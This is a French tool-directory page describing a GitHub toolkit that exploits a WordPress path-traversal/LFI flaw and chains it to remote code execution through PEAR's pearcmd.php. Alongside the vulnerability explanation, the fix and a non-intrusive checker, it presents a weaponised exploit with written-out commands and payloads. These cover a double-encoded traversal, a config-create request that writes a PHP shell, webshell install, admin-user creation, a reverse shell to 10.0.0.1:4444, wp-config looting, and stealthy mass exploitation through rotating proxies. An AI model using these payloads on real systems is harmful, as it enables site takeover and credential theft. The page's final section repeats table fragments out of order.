Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-87902-Toolkit — Boîte à outils WordPress CVE-2026-87902 LFI-to-RCE avec une chaîne d'exploitation weaponisée (PEAR RCE, webshell, création d'admin, loot) et une version SafeChecker non intrusive ainsi qu'un auditeur de risques. | Kitploit
Outils/GitHubGitHub/tc4dy/cve-2026-87902-toolkit
Outils DéfensifsScanners de VulnérabilitésGénération de PayloadsExploitationRétro-ingénierieExploitation d'Applications WebPost-ExploitationSécurité WebTests d'Intrusion
Apprentissage et Éducation
Red Teaming
GitHubtc4dy/cve-2026-87902-toolkit

CVE-2026-87902-Toolkit

Boîte à outils WordPress CVE-2026-87902 LFI-to-RCE avec une chaîne d'exploitation weaponisée (PEAR RCE, webshell, création d'admin, loot) et une version SafeChecker non intrusive ainsi qu'un auditeur de risques.

Voir le dépôt
12il y a 22h 1mPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVEPoC

CVE‑2026‑87902 – Boîte à outils LFI→RCE non authentifiée WordPress

Python 3.8+ CVSS Author WordPress

USAGE ÉTHIQUE UNIQUEMENT – TESTS DE SÉCURITÉ AUTORISÉS
Ce dépôt fournit des outils destinés exclusivement aux professionnels de la sécurité autorisés, aux blue teams et aux testeurs d'intrusion.
L'accès non autorisé à des systèmes informatiques est illégal en vertu du CFAA (États-Unis), du Computer Misuse Act (Royaume-Uni), du TCK 243/244 (Turquie) et de lois similaires dans le monde entier.


📖 Aperçu de la vulnérabilité

CVE‑2026‑87902 est une vulnérabilité critique de traversée de chemin et d'inclusion locale de fichier (LFI) non authentifiée dans WordPress Core (versions 4.7.0 à 7.1.1) qui permet à un attaquant non authentifié d'inclure des fichiers .php locaux arbitraires via le paramètre de requête pagename, et, dans des conditions serveur spécifiques, d'escalader vers une exécution de code à distance (RCE) en enchaînant le fichier PEAR pearcmd.php. Score CVSS : 9.2 (Critique). Divulguée par Robert Ressl via le programme HackerOne de WordPress en juillet 2026. Corrigée dans la version 7.1.2 le 22 septembre 2026, avec des rétroportages jusqu'à la 4.7.

La faille affecte chaque version de WordPress depuis 2016 — une décennie de versions qui ont passé la revue de code sans être détectées. La cause racine est un unique appel de validation manquant dans l'un des chemins de code les plus empruntés du CMS.

Fonctionnement

  1. Résolution de template non assainie – get_page_template() dans wp-includes/template.php construit des candidats de template à partir de la variable de requête pagename. Un chemin de code voisin dans la même fonction applique validate_file() pour bloquer les séquences ../, mais la branche $pagename ne l'appelle pas. Toute traversée dans pagename passe sans contrôle.

  2. Contournement de traversée doublement encodée – WordPress applique sanitize_title_for_query() à pagename, qui remplace les points littéraux (.) par des tirets pour empêcher la traversée. Mais la fonction opère sur une entrée déjà décodée et ne décode pas récursivement. Un attaquant envoie %252e%252e%252f ; le serveur web le décode une fois en %2e%2e%2f ; le sanitizer ne voit aucun point littéral et le laisse passer ; puis get_page_template() appelle urldecode() à nouveau à l'intérieur de la fonction, produisant ../.

  3. Précondition du répertoire de thème – Le thème actif doit contenir un répertoire de premier niveau dont le nom commence par page- (par exemple page-templates/). Le nom de fichier construit page-{pagename}.php s'échappe alors de la racine du thème via la traversée. Les anciens thèmes par défaut (Twenty Twelve, Twenty Fourteen) et les thèmes tiers populaires (Neve, Hestia, Sydney) embarquent ce répertoire. Les thèmes enfants héritant de tels parents satisfont également la précondition.

  4. Point de chute LFI dans locate_template() – Le chemin candidat est passé à locate_template(), qui recherche dans les répertoires de thèmes. Comme la traversée résout vers un fichier en dehors de ces répertoires, et que la fonction ne vérifie que file_exists(), tout fichier .php lisible est inclus avec les pleins privilèges du serveur web. Cela rend la LFI inconditionnelle sur tout site non corrigé remplissant la précondition de thème — y compris wp-config.php avec ses identifiants de base de données et ses sels d'authentification.

  5. Escalade RCE via PEAR pearcmd.php – PEAR est livré avec de nombreuses installations PHP. Son pearcmd.php est normalement réservé à la CLI, mais lorsque register_argc_argv=On, PHP remplit $_SERVER['argv'] à partir de la chaîne de requête de l'URL. L'attaquant inclut pearcmd.php via la LFI, passe config-create comme argument, et fournit du code PHP plus un chemin de sortie (/tmp/shell.php). PEAR écrit le code de l'attaquant sur le disque ; une seconde inclusion l'exécute.

  6. Seconde route d'exploitation – Une requête combinant name (slug de la page d'accueil), page_id (ID de la page des articles), preview=true et une charge utile pagename détourne WP_Query vers sa branche post_name, qui ne réécrit jamais pagename via sanitize_title_for_query(). Cela autorise des points littéraux dans la traversée. Nécessite un thème sans single.php.

  7. Exigences de configuration serveur – La RCE dépend de deux conditions courantes dans les déploiements réels : pearcmd.php présent/lisible (fréquent sur l'hébergement mutualisé, cPanel, images Docker PHP officielles), et register_argc_argv=On (par défaut dans PHP inférieur à 8.5). PHP 8.5 a changé la valeur par défaut à Off. Sur un serveur PHP 8.5+ moderne sans PEAR, l'exploitation s'arrête à la LFI.

  8. Le correctif – WordPress 7.1.2 ajoute deux couches de défense : (a) l'appel manquant à validate_file() dans la branche pagename, et (b) une nouvelle fonction _wp_is_template_path_allowed() appelée par locate_template() pour chaque template résolu. La fonction rejette les chemins contenant .., puis résout le chemin réel via realpath() et vérifie qu'il se trouve à l'intérieur de l'un des répertoires de thèmes autorisés. Cette défense en profondeur ferme le point de chute, pas seulement une route y menant.

  9. Exploitation active dans la nature – Premières requêtes malveillantes observées 5 heures après la publication du correctif (17:44 UTC, 22 septembre 2026). Le trafic a augmenté de dix fois le jour suivant. Trois étapes observées : reconnaissance config-show → détection de fichiers core → armement config-create. Les noms de fichiers de charge utile incluaient wp-pear-rce-flag.php, poc87902.php, luci_*.php, zeta_*.php, écrits dans /tmp et /var/tmp. IP attaquantes : 169.58.48.193, 169.58.48.195, 2001:df1:e8c0::106b.

  10. Impact – Exécution de code avec les privilèges du serveur web. Prise de contrôle complète du site, vol d'identifiants wp-config.php, exfiltration de données, installation de webshell, création d'utilisateur admin, reverse shell, attaques de chaîne d'approvisionnement via des plugins/thèmes modifiés, et mouvement latéral vers les services connectés. Le score CVSS 9.2 reflète une exploitation réseau, sans authentification, avec un impact élevé sur la confidentialité/intégrité/disponibilité. La complexité d'attaque élevée reflète les préconditions de thème et de serveur, mais sur l'hébergement mutualisé typique, ces conditions sont fréquemment remplies.

Versions affectées

  • 4.7.0 – 4.7.37 – vulnérable
  • 4.8.0 – 4.8.32 – vulnérable
  • 4.9.0 – 4.9.33 – vulnérable
  • 5.0.0 – 5.0.29 – vulnérable
  • 5.1.0 – 5.1.26 – vulnérable
  • 5.2.0 – 5.2.28 – vulnérable
  • 5.3.0 – 5.3.25 – vulnérable
  • 5.4.0 – 5.4.23 – vulnérable
  • 5.5.0 – 5.5.22 – vulnérable
  • 5.6.0 – 5.6.21 – vulnérable
  • 5.7.0 – 5.7.19 – vulnérable
  • 5.8.0 – 5.8.17 – vulnérable
  • 5.9.0 – 5.9.18 – vulnérable
  • 6.0.0 – 6.0.16 – vulnérable
  • 6.1.0 – 6.1.14 – vulnérable
  • 6.2.0 – 6.2.13 – vulnérable
  • 6.3.0 – 6.3.12 – vulnérable
  • 6.4.0 – 6.4.12 – vulnérable
  • 6.5.0 – 6.5.12 – vulnérable
  • 6.6.0 – 6.6.9 – vulnérable
  • 6.7.0 – 6.7.9 – vulnérable
  • 6.8.0 – 6.8.10 – vulnérable
  • 6.9.0 – 6.9.9 – vulnérable
  • 7.0.0 – 7.0.6 – vulnérable
  • 7.1.0 – 7.1.1 – vulnérable

Correctif

  • Mettez à niveau vers 4.7.37, 4.8.32, 4.9.33, 5.0.29, 5.1.26, 5.2.28, 5.3.25, 5.4.23, 5.5.22, 5.6.21, 5.7.19, 5.8.17, 5.9.18, 6.0.16, 6.1.14, 6.2.13, 6.3.12, 6.4.12, 6.5.12, 6.6.9, 6.7.9, 6.8.10, 6.9.9, 7.0.6, ou 7.1.2 ou une version plus récente.
  • Si la mise à niveau n'est pas possible, renommez ou supprimez le répertoire page-* dans le thème actif, définissez register_argc_argv=Off dans php.ini, et bloquez la traversée doublement encodée dans le paramètre pagename au niveau du WAF.

[<->] Outils

OutilObjectifUtilisateur visé
exploit.pyBoîte à outils complète armée avec détection LFI, chaîne RCE PEAR, création d'utilisateur admin, installation de webshell, reverse shell, scan de masse, mode furtif, rotation de proxy, et chaîne d'attaque complète.Red teams / pentesters autorisés
safecheck.pyVérificateur de vulnérabilité non intrusif qui détecte la version de WordPress, valide l'exposition, et évalue le risque sans inclure aucun fichier ni exécuter aucune charge utile. Génère des rapports JSON.Blue teams / auditeurs de sécurité

[</>] Comparaison des fonctionnalités

Fonctionnalitéexploit.pysafecheck.py
Détection de vulnérabilité✅✅
Détection de version✅✅
Vérification du répertoire page-* du thème✅✅
Accessibilité de PEAR pearcmd.php✅✅
Vérification de register_argc_argv✅✅
Sonde de comportement WAF❌✅
Sonde LFI doublement encodée✅❌
RCE PEAR config-create✅❌
Création d'utilisateur admin✅❌
Installation de webshell✅❌
Reverse shell✅❌
Extraction de wp-config.php✅❌
Chaîne d'attaque complète✅❌
Scan de masse (multi‑thread)✅✅
Prise en charge de proxy✅✅
Rotation de proxy✅❌
Rotation de User‑Agent (OPSEC)✅❌
Jitter (OPSEC)✅❌
Limiteur de débit✅❌
Mode non intrusif (sûr)❌✅
Rapport d'évaluation des risques✅

[+] Résumé des cas d'usage

ScénarioOutil recommandé
Blue Team – vérifier si votre WordPress est vulnérablesafecheck.py
Audit de sécurité – évaluation de vulnérabilité non intrusivesafecheck.py
Red Team – test d'intrusion autorisé avec exploitation complèteexploit.py
Bug Bounty – test de divulgation responsablesafecheck.py
Scan de masse – vérification de plusieurs cibles pour la vulnérabilitéexploit.py (détection uniquement)
Réponse à incident – vérifier si des systèmes sont compromissafecheck.py

[+] Installation

root@kitploit:~
git clone https://github.com/tc4dy/CVE-2026-87902-Toolkit
cd CVE-2026-87902-Toolkit
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests
urllib3

[/] Paramètres

Paramètres de exploit.py

ParamètreDescription
-u, --urlURL WordPress cible unique (par exemple http://wordpress.example.com)
-f, --fileFichier contenant une liste de cibles (une par ligne) pour le scan de masse
--pipeLire les cibles depuis stdin
--exploitEffectuer l'exploitation après la détection
--create-adminCréer un utilisateur admin persistant (format : USER:PASS)
--webshellInstaller un webshell via RCE
--reverse-shellDéclencher un reverse shell (format : LHOST:LPORT)
--lootExtraire wp-config.php et d'autres fichiers
--threadsNombre de threads pour multi‑cibles (par défaut : 8)
--timeoutDélai d'expiration des requêtes (par défaut : 15s)
--retryNombre maximal de tentatives (par défaut : 3)
--proxyProxy HTTP/HTTPS (par exemple http://127.0.0.1:8080)
--proxy-listFichier avec les proxies pour rotation (un par ligne)
--proxy-rotateStratégie de rotation de proxy (round-robin, random, sticky)
--jitterJitter aléatoire entre les requêtes
--jitter-rangeJitter min,max secondes (par défaut : 0.1,2.0)
--delayDélai fixe entre les requêtes
--stealthActiver le mode furtif (rotation UA + jitter)
--insecureDésactiver la vérification TLS

Paramètres de safecheck.py

ParamètreDescription
-u, --urlURL WordPress cible unique (par exemple http://wordpress.example.com)
-f, --fileFichier contenant une liste de cibles (une par ligne)
--pipeLire les cibles depuis stdin
-t, --threadsNombre de threads pour multi‑cibles (par défaut : 8)
--timeoutDélai d'expiration des requêtes (par défaut : 15s)
--retryNombre maximal de tentatives (par défaut : 3)
--proxyProxy HTTP/HTTPS
--jitterJitter aléatoire entre les requêtes
--jitter-rangeJitter min,max secondes (par défaut : 0.1,2.0)
--delayDélai fixe entre les requêtes
--insecureDésactiver la vérification TLS
--user-agentUser-Agent personnalisé
--max-bodyTaille maximale du corps de réponse
--concurrent-per-hostNombre maximal de requêtes simultanées par hôte
--excludeHôtes à exclure, séparés par des virgules
-o, --outputEnregistrer le rapport JSON dans un fichier (.json, .csv, .html, .jsonl)
--dbFichier de base de données SQLite
-v, --verboseSortie verbeuse
-q, --quietMode silencieux
--no-bannerSupprimer la bannière

[>] Scénarios

#ScénarioCommande
1Vérification rapide de vulnérabilitépython safecheck.py -u http://wordpress.example.com
2Scan détaillé avec rapportpython safecheck.py -u http://wordpress.example.com -o report.json -v
3Audit de masse depuis un fichierpython safecheck.py -f targets.txt -t 10 -o audit.json
4Exploit en détection uniquementpython exploit.py -u http://wordpress.example.com
5Extraction de wp-config.phppython exploit.py -u http://wordpress.example.com --exploit --loot
6Attaque complète avec webshellpython exploit.py -u http://wordpress.example.com --exploit --webshell
7Créer un utilisateur admin persistantpython exploit.py -u http://wordpress.example.com --exploit --create-admin evil:P@ssw0rd1
8Reverse shellpython exploit.py -u http://wordpress.example.com --exploit --reverse-shell 10.0.0.1:4444
9Chaîne d'attaque complètepython exploit.py -u http://wordpress.example.com --exploit --loot --webshell --create-admin evil:P@ssw0rd1
10Exploit de masse avec furtivitépython exploit.py -f targets.txt -t 20 --exploit --stealth --jitter -o results.json
11Rotation de proxypython exploit.py -f targets.txt --proxy-list proxies.txt --proxy-rotate random --exploit

🧪 Point de terminaison et chaîne d'exploitation

L'exploit utilise les points de terminaison WordPress et les étapes d'exploitation suivantes :

ÉtapeMéthodePoint de terminaisonDescription
1. EmpreinteGET/Détecter WordPress via wp-content, wp-includes, wp-json
2. VersionGET/feed/Extraire la version via la méta <generator>
3. ID de pageGET/wp-json/wp/v2/pagesDécouvrir un page_id valide
4. Répertoire de thèmeGET/wp-content/themes/{theme}/page-templates/Confirmer la précondition page-*
5. Sonde LFIGET/?page_id={id}&pagename={payload}Traversée doublement encodée pour inclure un fichier local
6. Inclusion PEARGET/?page_id={id}&pagename={pearcmd}Inclure pearcmd.php
7. RCE PEARGET/?+config-create+/&page_id={id}&pagename={pearcmd}&/{payload}+{outfile}Écrire un fichier PHP via PEAR
8. ExécutionGET/?page_id={id}&pagename={outfile}Inclure le fichier écrit → RCE
9. PersistanceGET(via RCE)Créer un utilisateur admin / webshell
10. ExtractionGET/?page_id={id}&pagename={wp-config}Lire wp-config.php via LFI

Format de charge utile

root@kitploit:~
# Exemple de traversée doublement encodée
pagename = page-templates/..%252f..%252f..%252f..%252fusr/local/lib/php/pearcmd

# Chaîne RCE PEAR config-create
GET /?+config-create+/&page_id=2&pagename={encoded_pearcmd}&/{encoded_php}+/tmp/shell.php

# Déclencheur d'inclusion PEAR
GET /?page_id=2&pagename={encoded_output_path}

🛡️ Utilisation responsable

  • N'utilisez ces outils que sur des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de tester.
  • L'accès non autorisé est illégal et contraire à l'éthique.
  • Les auteurs ne sont pas responsables de toute utilisation abusive.
  • Respectez toujours les lois et réglementations de votre pays.

Ce logiciel est fourni à des fins éducatives et de tests de sécurité autorisés uniquement.

Télécharger l’outil
✅
Recommandations d'atténuation❌✅
Rapport JSON✅✅
Rapport CSV✅✅
Rapport HTML✅✅
Sortie SQLite✅✅
User‑Agent personnalisé✅✅
Contrôle de vérification SSL✅✅
--user-agentUser-Agent personnalisé
--max-bodyTaille maximale du corps de réponse
--concurrent-per-hostNombre maximal de requêtes simultanées par hôte
--rate-limitNombre maximal de requêtes par seconde
--excludeHôtes à exclure, séparés par des virgules
-o, --outputEnregistrer le rapport dans un fichier (.json, .csv, .html, .jsonl)
--dbFichier de base de données SQLite
-v, --verboseSortie verbeuse
-q, --quietMode silencieux
--no-bannerSupprimer la bannière